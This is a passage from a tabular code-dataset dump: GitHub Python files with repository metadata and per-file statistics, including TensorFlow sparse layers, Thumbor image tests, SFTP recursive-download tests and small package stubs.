| 14 | 33 | 0.8 | 10 | 70 | 5.6 | 0.9 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.128571 | 70 | 4 | 34 | 17.5 | 0.918033 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.333333 | 0.333333 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 6 |
f4dbc2fe413ffdd9468f8f3d7605da1c6beadadd | 92 | py | Python | gutec/cli.py | maristmichael/GuteCompiler | 3a946662735cbb4c81726e7106cd01cf36b0831f | [
"MIT"
] | null | null | null | gutec/cli.py | maristmichael/GuteCompiler | 3a946662735cbb4c81726e7106cd01cf36b0831f | [
"MIT"
] | null | null | null | gutec/cli.py | maristmichael/GuteCompiler | 3a946662735cbb4c81726e7106cd01cf36b0831f | [
"MIT"
] | null | null | null | #!/usr/bin/env python
import click
from gutec import gutec
def cli():
gutec.main()
| 13.142857 | 23 | 0.663043 | 14 | 92 | 4.357143 | 0.785714 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.217391 | 92 | 6 | 24 | 15.333333 | 0.847222 | 0.217391 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | true | 0 | 0.5 | 0 | 0.75 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
f4f1bcabaf391a75fdebc91f3197ffc6998823dc | 36 | py | Python | style_transfer_3d/__init__.py | hiroharu-kato/style_transfer_3d | fa1f460d6d02e2146282834a636bec3042c05cf9 | [
"MIT"
] | 116 | 2018-01-24T05:21:34.000Z | 2022-03-31T19:50:10.000Z | style_transfer_3d/__init__.py | hiroharu-kato/style_transfer_3d | fa1f460d6d02e2146282834a636bec3042c05cf9 | [
"MIT"
] | 3 | 2018-01-31T08:46:25.000Z | 2022-01-08T03:52:00.000Z | style_transfer_3d/__init__.py | hiroharu-kato/style_transfer_3d | fa1f460d6d02e2146282834a636bec3042c05cf9 | [
"MIT"
] | 29 | 2018-01-26T12:13:14.000Z | 2022-03-25T09:05:33.000Z | from main import StyleTransferModel
| 18 | 35 | 0.888889 | 4 | 36 | 8 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.111111 | 36 | 1 | 36 | 36 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
76183b95f564d9f863185727f9efa48a09f7010b | 10,375 | py | Python | sparselayer_tensorflow/sparselayer_tensorflow.py | AryaAftab/sparselayer-tensorflow | 461be8170693ffb3905912109bc51209a3a809f7 | [
"MIT"
] | 2 | 2021-10-11T16:53:59.000Z | 2021-12-27T00:26:02.000Z | sparselayer_tensorflow/sparselayer_tensorflow.py | AryaAftab/sparselayer-tensorflow | 461be8170693ffb3905912109bc51209a3a809f7 | [
"MIT"
] | null | null | null | sparselayer_tensorflow/sparselayer_tensorflow.py | AryaAftab/sparselayer-tensorflow | 461be8170693ffb3905912109bc51209a3a809f7 | [
"MIT"
] | null | null | null | import numpy as np
import tensorflow as tf
#classes
class SparseLayerDense(tf.keras.layers.Layer):
def __init__(self,
units,
density,
use_bias=True,
activation=None,
kernel_initializer=None,
full="output",
multiple=1):
super(SparseLayerDense, self).__init__()
self.units = units
self.density = density
self.activation = activation
self.use_bias = use_bias
self.kernel_initializer = kernel_initializer
self.full = full
self.multiple = multiple
def build(self, input_shape):
self.in_features = int(input_shape[-1])
n_parameters = self.in_features * self.units
if self.full == "input":
if n_parameters * self.density < self.in_features:
self.density = self.in_features / n_parameters
print(f"Density set to : {self.density}")
elif self.full == "output":
if n_parameters * self.density < self.units:
self.density = self.units / n_parameters
print(f"Density set to : {self.density}")
else:
raise NameError('full argument must be "input" or "output"')
if self.multiple * self.density > 1.0:
self.multiple = 1 / self.multiple
print(f"Multiple set to : {self.multiple}")
n_sparse_parameters = int(self.multiple * self.density * n_parameters)
if self.full == "input":
Total_Indexs = []
for_each_row = n_sparse_parameters // self.in_features
remain = n_sparse_parameters % self.in_features
remain_index = np.random.choice(self.in_features, remain, replace=False)
row_indexs = np.random.choice(self.in_features, self.in_features, replace=False)
for counter, row_index in enumerate(row_indexs):
if row_index in remain_index:
column_indexs = np.random.choice(self.units, for_each_row + 1, replace=False)
else:
column_indexs = np.random.choice(self.units, for_each_row, replace=False)
Total_Indexs.append(np.stack([row_index * np.ones_like(column_indexs), column_indexs], axis=1))
self.Total_Indexs = np.concatenate(Total_Indexs, axis=0)
elif self.full == "output":
Total_Indexs = []
for_each_column = n_sparse_parameters // self.units
remain = n_sparse_parameters % self.units
remain_index = np.random.choice(self.units, remain, replace=False)
column_indexs = np.random.choice(self.units, self.units, replace=False)
for counter, column_index in enumerate(column_indexs):
if column_index in remain_index:
row_indexs = np.random.choice(self.in_features, for_each_column + 1, replace=False)
else:
row_indexs = np.random.choice(self.in_features, for_each_column, replace=False)
Total_Indexs.append(np.stack([row_indexs, column_index * np.ones_like(row_indexs)], axis=1))
self.Total_Indexs = np.concatenate(Total_Indexs, axis=0)
else:
raise NameError('full argument must be "input" or "output"')
if self.kernel_initializer is None:
self.kernel = tf.Variable(tf.initializers.glorot_uniform()((n_sparse_parameters,)), trainable=True)
else:
self.kernel = tf.Variable(self.kernel_initializer((n_sparse_parameters,)), trainable=True)
if self.use_bias:
self.bias = tf.Variable(tf.zeros((self.units,)), trainable=True)
super(SparseLayerDense, self).build(input_shape)
@tf.function
def sparse_matmul(self,input, kernel):
return tf.sparse.sparse_dense_matmul(input, kernel)
def call(self, inputs):
new_kernel = tf.SparseTensor(indices=self.Total_Indexs,
values=self.kernel,
dense_shape=(self.in_features, self.units))
out = self.sparse_matmul(inputs, new_kernel)
if self.use_bias:
out = out + self.bias
if self.activation is not None:
out = self.activation(out)
return out
def compute_output_shape(self, input_shape):
return (input_shape[0], self.units)
class SparseLayerConv2D(tf.keras.layers.Layer):
def __init__(self,
n_filters,
density,
filter_size,
stride,
padding='SAME',
use_bias=True,
activation=None,
kernel_initializer=None,
full="output",
multiple=1):
super(SparseLayerConv2D, self).__init__()
self.n_filters = n_filters
self.density = density
self.filter_size = filter_size
self.stride = stride
self.padding = padding
self.activation = activation
self.use_bias = use_bias
self.kernel_initializer = kernel_initializer
self.full = full
self.multiple = multiple
def build(self, input_shape):
self.in_features = int(input_shape[-1] * self.filter_size[0] * self.filter_size[1])
if self.padding == "VALID":
P = [0, 0]
elif self.padding == "SAME":
P = [self.filter_size[0] - 1, self.filter_size[1] - 1]
else:
raise NameError('padding must be "SAME" or "VALID"')
self.H = (input_shape[-3] - self.filter_size[0] + 2 * P[0]) / self.stride[0] + 1
self.W = (input_shape[-2] - self.filter_size[1] + 2 * P[1]) / self.stride[1] + 1
n_parameters = self.in_features * self.n_filters
if self.full == "input":
if n_parameters * self.density < self.in_features:
self.density = self.in_features / n_parameters
print(f"Density set to : {self.density}")
elif self.full == "output":
if n_parameters * self.density < self.n_filters:
self.density = self.n_filters / n_parameters
print(f"Density set to : {self.density}")
else:
raise NameError('full argument must be "input" or "output"')
if self.multiple * self.density > 1.0:
self.multiple = 1 / self.multiple
print(f"Multiple set to : {self.multiple}")
n_sparse_parameters = int(self.multiple * self.density * n_parameters)
if self.full == "input":
Total_Indexs = []
for_each_row = n_sparse_parameters // self.in_features
remain = n_sparse_parameters % self.in_features
remain_index = np.random.choice(self.in_features, remain, replace=False)
row_indexs = np.random.choice(self.in_features, self.in_features, replace=False)
for counter, row_index in enumerate(row_indexs):
if row_index in remain_index:
column_indexs = np.random.choice(self.n_filters, for_each_row + 1, replace=False)
else:
column_indexs = np.random.choice(self.n_filters, for_each_row, replace=False)
Total_Indexs.append(np.stack([row_index * np.ones_like(column_indexs), column_indexs], axis=1))
self.Total_Indexs = np.concatenate(Total_Indexs, axis=0)
elif self.full == "output":
Total_Indexs = []
for_each_column = n_sparse_parameters // self.n_filters
remain = n_sparse_parameters % self.n_filters
remain_index = np.random.choice(self.n_filters, remain, replace=False)
column_indexs = np.random.choice(self.n_filters, self.n_filters, replace=False)
for counter, column_index in enumerate(column_indexs):
if column_index in remain_index:
row_indexs = np.random.choice(self.in_features, for_each_column + 1, replace=False)
else:
row_indexs = np.random.choice(self.in_features, for_each_column, replace=False)
Total_Indexs.append(np.stack([row_indexs, column_index * np.ones_like(row_indexs)], axis=1))
self.Total_Indexs = np.concatenate(Total_Indexs, axis=0)
else:
raise NameError('full argument must be "input" or "output"')
if self.kernel_initializer is None:
self.kernel = tf.Variable(tf.initializers.glorot_uniform()((n_sparse_parameters,)), trainable=True)
else:
self.kernel = tf.Variable(self.kernel_initializer((n_sparse_parameters,)), trainable=True)
if self.use_bias:
self.bias = tf.Variable(tf.zeros((self.n_filters,)), trainable=True)
super(SparseLayerConv2D, self).build(input_shape)
@tf.function
def sparse_matmul(self,input, kernel):
return tf.sparse.sparse_dense_matmul(input, kernel)
def call(self, inputs):
Patch_inputs = tf.image.extract_patches(images=inputs,
sizes=[1, self.filter_size[0], self.filter_size[0], 1],
strides=[1, self.stride[0], self.stride[1], 1],
rates=[1, 1, 1, 1],
padding=self.padding)
rearranged_Patch_inputs = tf.reshape(Patch_inputs, (-1, self.in_features))
new_kernel = tf.SparseTensor(indices=self.Total_Indexs,
values=self.kernel,
dense_shape=(self.in_features, self.n_filters))
out = self.sparse_matmul(rearranged_Patch_inputs, new_kernel)
if self.use_bias:
out = out + self.bias
if self.activation is not None:
out = self.activation(out)
return tf.reshape(out, (-1, self.H, self.W, self.n_filters))
def compute_output_shape(self, input_shape):
return (input_shape[0], self.H, self.W, self.n_filters) | 39.903846 | 111 | 0.578024 | 1,213 | 10,375 | 4.731245 | 0.094806 | 0.026137 | 0.060986 | 0.050183 | 0.848057 | 0.836905 | 0.817216 | 0.78045 | 0.768775 | 0.752047 | 0 | 0.008702 | 0.324337 | 10,375 | 260 | 112 | 39.903846 | 0.809986 | 0.000675 | 0 | 0.678947 | 0 | 0 | 0.043981 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.052632 | false | 0 | 0.010526 | 0.021053 | 0.105263 | 0.031579 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
524f6001e0f97d8c6257ef1a8d265193d0f5161a | 186 | py | Python | LianJia/LianJia/__init__.py | joelYing/Graduation-Design | efa13db967f8eb444fa060186372e81376268856 | [
"MIT"
] | null | null | null | LianJia/LianJia/__init__.py | joelYing/Graduation-Design | efa13db967f8eb444fa060186372e81376268856 | [
"MIT"
] | null | null | null | LianJia/LianJia/__init__.py | joelYing/Graduation-Design | efa13db967f8eb444fa060186372e81376268856 | [
"MIT"
] | null | null | null | # 要启用一个爬虫的持久化,运行以下命令:
#
# scrapy crawl lianjia -s JOBDIR=crawls/somespider-1
# 然后,你就能在任何时候安全地停止爬虫(按Ctrl-C或者发送一个信号)。恢复这个爬虫也是同样的命令:
#
# scrapy crawl lianjia -s JOBDIR=crawls/somespider-1
| 23.25 | 52 | 0.77957 | 23 | 186 | 6.304348 | 0.652174 | 0.151724 | 0.248276 | 0.262069 | 0.57931 | 0.57931 | 0.57931 | 0.57931 | 0 | 0 | 0 | 0.011976 | 0.102151 | 186 | 7 | 53 | 26.571429 | 0.856287 | 0.924731 | 0 | null | 0 | null | 0 | 0 | null | 0 | 0 | 0 | null | 1 | null | true | 0 | 0 | null | null | null | 1 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
52874c1d1d90758f420c4b9d1af5687d55e63100 | 6,276 | py | Python | tests/integration/test_vips.py | wikimedia/operations-software-thumbor-plugins | b30f1594e05118a1d2ed77a886d270866206d08a | [
"MIT"
] | 2 | 2017-06-14T15:14:50.000Z | 2018-02-19T12:38:00.000Z | tests/integration/test_vips.py | wikimedia/operations-debs-python-thumbor-wikimedia | 555f99fd500a95e00778fa740ac08e41dc6ff896 | [
"MIT"
] | null | null | null | tests/integration/test_vips.py | wikimedia/operations-debs-python-thumbor-wikimedia | 555f99fd500a95e00778fa740ac08e41dc6ff896 | [
"MIT"
] | null | null | null | from . import WikimediaTestCase
class WikimediaVipsTest(WikimediaTestCase):
def get_config(self):
cfg = super(WikimediaVipsTest, self).get_config()
cfg.VIPS_ENGINE_MIN_PIXELS = 0
return cfg
def test_tiff(self):
self.run_and_check_ssim_and_size(
'thumbor/unsafe/400x/filters:format(jpg)/0729.tiff',
'lossy-page1-400px-0729.tiff.jpg',
'lossy-page1-400px-0729.tiff.png',
400,
254,
0.95,
0.61,
)
self.run_and_check_ssim_and_size(
'thumbor/unsafe/400x/filters:format(webp)/0729.tiff',
'lossy-page1-400px-0729.tiff.jpg',
'lossy-page1-400px-0729.tiff.png',
400,
254,
0.98,
1.12,
)
def test_multipage_tiff(self):
self.run_and_check_ssim_and_size(
'thumbor/unsafe/400x/filters:format(jpg):page(3)/All_that_jazz.tif',
'lossy-page3-400px-All_that_jazz.tif.jpg',
'lossy-page3-400px-All_that_jazz.tif.png',
400,
518,
0.98,
0.6,
)
self.run_and_check_ssim_and_size(
'thumbor/unsafe/400x/filters:format(webp):page(3)/All_that_jazz.tif',
'lossy-page3-400px-All_that_jazz.tif.jpg',
'lossy-page3-400px-All_that_jazz.tif.png',
400,
518,
0.99,
0.68,
)
def test_multipage_tiff_without_page_filter(self):
self.run_and_check_ssim_and_size(
'thumbor/unsafe/400x/filters:format(jpg)/All_that_jazz.tif',
'lossy-page1-400px-All_that_jazz.tif.jpg',
'lossy-page1-400px-All_that_jazz.tif.png',
400,
518,
0.99,
0.63,
)
self.run_and_check_ssim_and_size(
'thumbor/unsafe/400x/filters:format(webp)/All_that_jazz.tif',
'lossy-page1-400px-All_that_jazz.tif.jpg',
'lossy-page1-400px-All_that_jazz.tif.png',
400,
518,
0.99,
0.61,
)
def test_multipage_tiff_with_out_of_bounds_page(self):
self.run_and_check_ssim_and_size(
'thumbor/unsafe/400x/filters:format(jpg):page(500)/All_that_jazz.tif',
'lossy-page1-400px-All_that_jazz.tif.jpg',
'lossy-page1-400px-All_that_jazz.tif.png',
400,
518,
0.99,
0.63,
)
self.run_and_check_ssim_and_size(
'thumbor/unsafe/400x/filters:format(webp):page(500)/All_that_jazz.tif',
'lossy-page1-400px-All_that_jazz.tif.jpg',
'lossy-page1-400px-All_that_jazz.tif.png',
400,
518,
0.99,
0.61,
)
def test_tiff_with_invalid_icc_profile(self):
self.run_and_check_ssim_and_size(
(
'thumbor/unsafe/400x/filters:format(jpg)/Julia_Margaret_'
'Cameron_-_Queen_of_the_May_-_1984.166_-_Cleveland_Museum_of_Art.tif'
),
(
'lossy-page1-400px-Julia_Margaret_Cameron_-_Queen_of_the_May_'
'-_1984.166_-_Cleveland_Museum_of_Art.tif.jpg'
),
(
'lossy-page1-400px-Julia_Margaret_Cameron_-_Queen_of_the_May_'
'-_1984.166_-_Cleveland_Museum_of_Art.tif.png'
),
400,
527,
0.97,
0.6,
)
self.run_and_check_ssim_and_size(
(
'thumbor/unsafe/400x/filters:format(webp)/Julia_Margaret_'
'Cameron_-_Queen_of_the_May_-_1984.166_-_Cleveland_Museum_of_Art.tif'
),
(
'lossy-page1-400px-Julia_Margaret_Cameron_-_Queen_of_the_May_'
'-_1984.166_-_Cleveland_Museum_of_Art.tif.webp'
),
(
'lossy-page1-400px-Julia_Margaret_Cameron_-_Queen_of_the_May_'
'-_1984.166_-_Cleveland_Museum_of_Art.tif.png'
),
400,
527,
0.97,
1.0,
)
def test_png(self):
self.run_and_check_ssim_and_size(
url='thumbor/unsafe/400x/filters:format(png)/WorldMap-A_non-Frame.png',
mediawiki_reference_thumbnail='400px-WorldMap-A_non-Frame.png',
perfect_reference_thumbnail='400px-WorldMap-A_non-Frame.png',
expected_width=400,
expected_height=200,
expected_ssim=0.98,
size_tolerance=1.1,
)
self.run_and_check_ssim_and_size(
url='thumbor/unsafe/400x/filters:format(webp)/WorldMap-A_non-Frame.png',
mediawiki_reference_thumbnail='400px-WorldMap-A_non-Frame.png',
perfect_reference_thumbnail='400px-WorldMap-A_non-Frame.png',
expected_width=400,
expected_height=200,
expected_ssim=0.98,
size_tolerance=0.84,
)
def test_skip_factor_1(self):
self.run_and_check_ssim_and_size(
url=(
'thumbor/unsafe/2000x/filters:format(png)/'
'Lakedaimoniergrab_Zeichnung_und_Steinplan.png'
),
mediawiki_reference_thumbnail=(
'2000px-Lakedaimoniergrab_Zeichnung_und_Steinplan.png'
),
perfect_reference_thumbnail=(
'2000px-Lakedaimoniergrab_Zeichnung_und_Steinplan.png'
),
expected_width=2000,
expected_height=987,
expected_ssim=0.99,
size_tolerance=1.01,
)
self.run_and_check_ssim_and_size(
url=(
'thumbor/unsafe/2000x/filters:format(webp)/'
'Lakedaimoniergrab_Zeichnung_und_Steinplan.png'
),
mediawiki_reference_thumbnail=(
'2000px-Lakedaimoniergrab_Zeichnung_und_Steinplan.png'
),
perfect_reference_thumbnail=(
'2000px-Lakedaimoniergrab_Zeichnung_und_Steinplan.png'
),
expected_width=2000,
expected_height=987,
expected_ssim=0.99,
size_tolerance=0.88,
)
| 34.483516 | 85 | 0.561504 | 719 | 6,276 | 4.518776 | 0.147427 | 0.038781 | 0.060942 | 0.077562 | 0.895968 | 0.895045 | 0.893813 | 0.893813 | 0.893813 | 0.893813 | 0 | 0.09478 | 0.337635 | 6,276 | 181 | 86 | 34.674033 | 0.686793 | 0 | 0 | 0.666667 | 0 | 0 | 0.376673 | 0.376673 | 0 | 0 | 0 | 0 | 0 | 1 | 0.046784 | false | 0 | 0.005848 | 0 | 0.064327 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
5e9fa90dcca2747f7b633603476e29809c0c4cac | 31 | py | Python | website_sale_search_tags/tests/__init__.py | factorlibre/website-addons | 9a0c7a238e2b6030d57f7a08d48816b4f2431524 | [
"MIT"
] | 1 | 2020-03-01T03:04:21.000Z | 2020-03-01T03:04:21.000Z | website_sale_search_tags/tests/__init__.py | factorlibre/website-addons | 9a0c7a238e2b6030d57f7a08d48816b4f2431524 | [
"MIT"
] | null | null | null | website_sale_search_tags/tests/__init__.py | factorlibre/website-addons | 9a0c7a238e2b6030d57f7a08d48816b4f2431524 | [
"MIT"
] | 3 | 2019-07-29T20:23:16.000Z | 2021-01-07T20:51:24.000Z | from . import test_search_tags
| 15.5 | 30 | 0.83871 | 5 | 31 | 4.8 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.129032 | 31 | 1 | 31 | 31 | 0.888889 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
5ea75ed37e63339d3fde562b0ae561cc8d03d1a3 | 3,894 | py | Python | tests/test_get_r.py | byteskeptical/sftpretty | 0b242f7d32086aa50a308d0df9ad4578b05f2701 | [
"BSD-3-Clause"
] | 11 | 2021-06-04T21:27:35.000Z | 2021-12-05T09:58:26.000Z | tests/test_get_r.py | byteskeptical/sftpretty | 0b242f7d32086aa50a308d0df9ad4578b05f2701 | [
"BSD-3-Clause"
] | null | null | null | tests/test_get_r.py | byteskeptical/sftpretty | 0b242f7d32086aa50a308d0df9ad4578b05f2701 | [
"BSD-3-Clause"
] | 3 | 2021-08-30T09:17:27.000Z | 2021-12-26T20:51:50.000Z | '''test sftpretty.get_r'''
from common import conn, rmdir, VFS
from pathlib import Path
from sftpretty import Connection, hash, localtree
from tempfile import mkdtemp
def test_get_r(sftpserver):
'''test the get_r for remotepath is pwd '.' '''
with sftpserver.serve_content(VFS):
with Connection(**conn(sftpserver)) as sftp:
localpath = mkdtemp()
sftp.get_r('.', localpath)
local_tree = {}
remote_tree = {}
remote_cwd = sftp.pwd
local_cwd = Path(localpath).joinpath(
remote_cwd.lstrip('/')).as_posix()
localtree(local_tree, local_cwd, localpath)
sftp.remotetree(remote_tree, remote_cwd, localpath)
localdirs = sorted([localdir.replace(localpath, '')
for localdir in local_tree.keys()])
remotedirs = sorted(remote_tree.keys())
assert localdirs == remotedirs
# cleanup local
rmdir(localpath)
def test_get_r_pwd(sftpserver):
'''test the get_r for remotepath is pwd '/pub/foo2' '''
with sftpserver.serve_content(VFS):
with Connection(**conn(sftpserver)) as sftp:
localpath = mkdtemp()
sftp.get_r('pub/foo2', localpath)
local_tree = {}
remote_tree = {}
remote_cwd = sftp.pwd
local_cwd = Path(localpath).joinpath(
remote_cwd.lstrip('/')).as_posix()
sftp.remotetree(remote_tree, remote_cwd, localpath)
localtree(local_tree, local_cwd, localpath)
localdirs = sorted([localdir.replace(localpath, '')
for localdir in local_tree.keys()])
remotedirs = sorted(remote_tree.keys())
assert localdirs == remotedirs
# cleanup local
rmdir(localpath)
def test_get_r_pathed(sftpserver):
'''test the get_r for localpath, starting deeper then pwd '''
with sftpserver.serve_content(VFS):
with Connection(**conn(sftpserver)) as sftp:
sftp.chdir('pub/foo2')
localpath = mkdtemp()
sftp.get_r('./bar1', localpath)
local_tree = {}
remote_tree = {}
remote_cwd = sftp.pwd
local_cwd = Path(localpath).joinpath(
remote_cwd.lstrip('/')).as_posix()
sftp.remotetree(remote_tree, remote_cwd, localpath)
localtree(local_tree, local_cwd, localpath)
actual = hash(Path(local_cwd).joinpath('bar1/bar1.txt').as_posix())
expected = ('a69f73cca23a9ac5c8b567dc185a756e97c982164fe258'
'59e0d1dcc1475c80a615b2123af1f5f94c11e3e9402c3a'
'c558f500199d95b6d3e301758586281dcd26')
assert local_tree.keys() == remote_tree.keys()
assert actual == expected
# cleanup local
rmdir(localpath)
def test_get_r_cdd(sftpserver):
'''test the get_r for chdir('pub/foo2')'''
with sftpserver.serve_content(VFS):
with Connection(**conn(sftpserver)) as sftp:
localpath = mkdtemp()
sftp.chdir('pub/foo2')
sftp.get_r('.', localpath)
local_tree = {}
remote_tree = {}
remote_cwd = sftp.pwd
local_cwd = Path(localpath).joinpath(
remote_cwd.lstrip('/')).as_posix()
sftp.remotetree(remote_tree, remote_cwd, localpath)
localtree(local_tree, local_cwd, localpath)
localdirs = sorted([localdir.replace(localpath, '')
for localdir in local_tree.keys()])
remotedirs = sorted(remote_tree.keys())
assert localdirs == remotedirs
# cleanup local
rmdir(localpath)
| 32.722689 | 79 | 0.569594 | 384 | 3,894 | 5.583333 | 0.161458 | 0.024254 | 0.059701 | 0.070896 | 0.783582 | 0.772388 | 0.733675 | 0.719683 | 0.702425 | 0.667444 | 0 | 0.035564 | 0.328454 | 3,894 | 118 | 80 | 33 | 0.784321 | 0.067283 | 0 | 0.789474 | 0 | 0 | 0.049126 | 0.035526 | 0 | 0 | 0 | 0 | 0.065789 | 1 | 0.052632 | false | 0 | 0.052632 | 0 | 0.105263 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
0d634c9fc234dc603538e37018734dd64b56f36b | 17 | py | Python | clibs/openal/__init__.py | filonik/clibs | d060d396515d1d4ba5a94cd5a10a6d728e42c295 | [
"MIT"
] | null | null | null | clibs/openal/__init__.py | filonik/clibs | d060d396515d1d4ba5a94cd5a10a6d728e42c295 | [
"MIT"
] | null | null | null | clibs/openal/__init__.py | filonik/clibs | d060d396515d1d4ba5a94cd5a10a6d728e42c295 | [
"MIT"
] | null | null | null | from .al import * | 17 | 17 | 0.705882 | 3 | 17 | 4 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.176471 | 17 | 1 | 17 | 17 | 0.857143 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
0d697c1a5c7fc9083ebc7b1b97ad9054bea5dab8 | 76 | py | Python | calculator/special_widgets/language_button.py | restless-dreamer/awesome-calculator | 52c20d0f935cd6906b5020cbd69fb2d537b93efe | [
"MIT"
] | null | null | null | calculator/special_widgets/language_button.py | restless-dreamer/awesome-calculator | 52c20d0f935cd6906b5020cbd69fb2d537b93efe | [
"MIT"
] | 1 | 2021-07-27T21:08:10.000Z | 2021-07-28T11:22:24.000Z | calculator/special_widgets/language_button.py | restless-dreamer/awesome-calculator | 52c20d0f935cd6906b5020cbd69fb2d537b93efe | [
"MIT"
] | null | null | null | from kivy.uix.button import Button
class LanguageButton(Button):
pass
| 12.666667 | 34 | 0.763158 | 10 | 76 | 5.8 | 0.8 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.171053 | 76 | 5 | 35 | 15.2 | 0.920635 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.333333 | 0.333333 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 6 |
0d953b6484ecd0f584fb3c643ad9cec7109f12d6 | 44 | py | Python | src/scBayesDeconv/mcmcsamplernorm/__init__.py | dsb-lab/scBayesDeconv | 62d154b903afb8782f32e389d020026d5e0b4370 | [
"MIT"
] | null | null | null | src/scBayesDeconv/mcmcsamplernorm/__init__.py | dsb-lab/scBayesDeconv | 62d154b903afb8782f32e389d020026d5e0b4370 | [
"MIT"
] | 1 | 2021-02-11T11:21:16.000Z | 2021-02-11T11:21:16.000Z | src/scBayesDeconv/mcmcsamplernorm/__init__.py | gatocor/gaussDeconv2dist | 4b65895d200654fc0bbc22118f9995eda12b0417 | [
"MIT"
] | 1 | 2021-01-05T12:20:04.000Z | 2021-01-05T12:20:04.000Z | from .mcmcsamplernorm import mcmcsamplernorm | 44 | 44 | 0.909091 | 4 | 44 | 10 | 0.75 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.068182 | 44 | 1 | 44 | 44 | 0.97561 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
0dc3c8da6adba57b2cba85e5435bc7ed04d0bb9d | 43 | py | Python | Parte 1/Ativividades do moodle/string/soma das listas.py | Raiane-nepomuceno/Python | acf8bd0436c717614fe7fd4f62e9fa2e432c386a | [
"MIT"
] | null | null | null | Parte 1/Ativividades do moodle/string/soma das listas.py | Raiane-nepomuceno/Python | acf8bd0436c717614fe7fd4f62e9fa2e432c386a | [
"MIT"
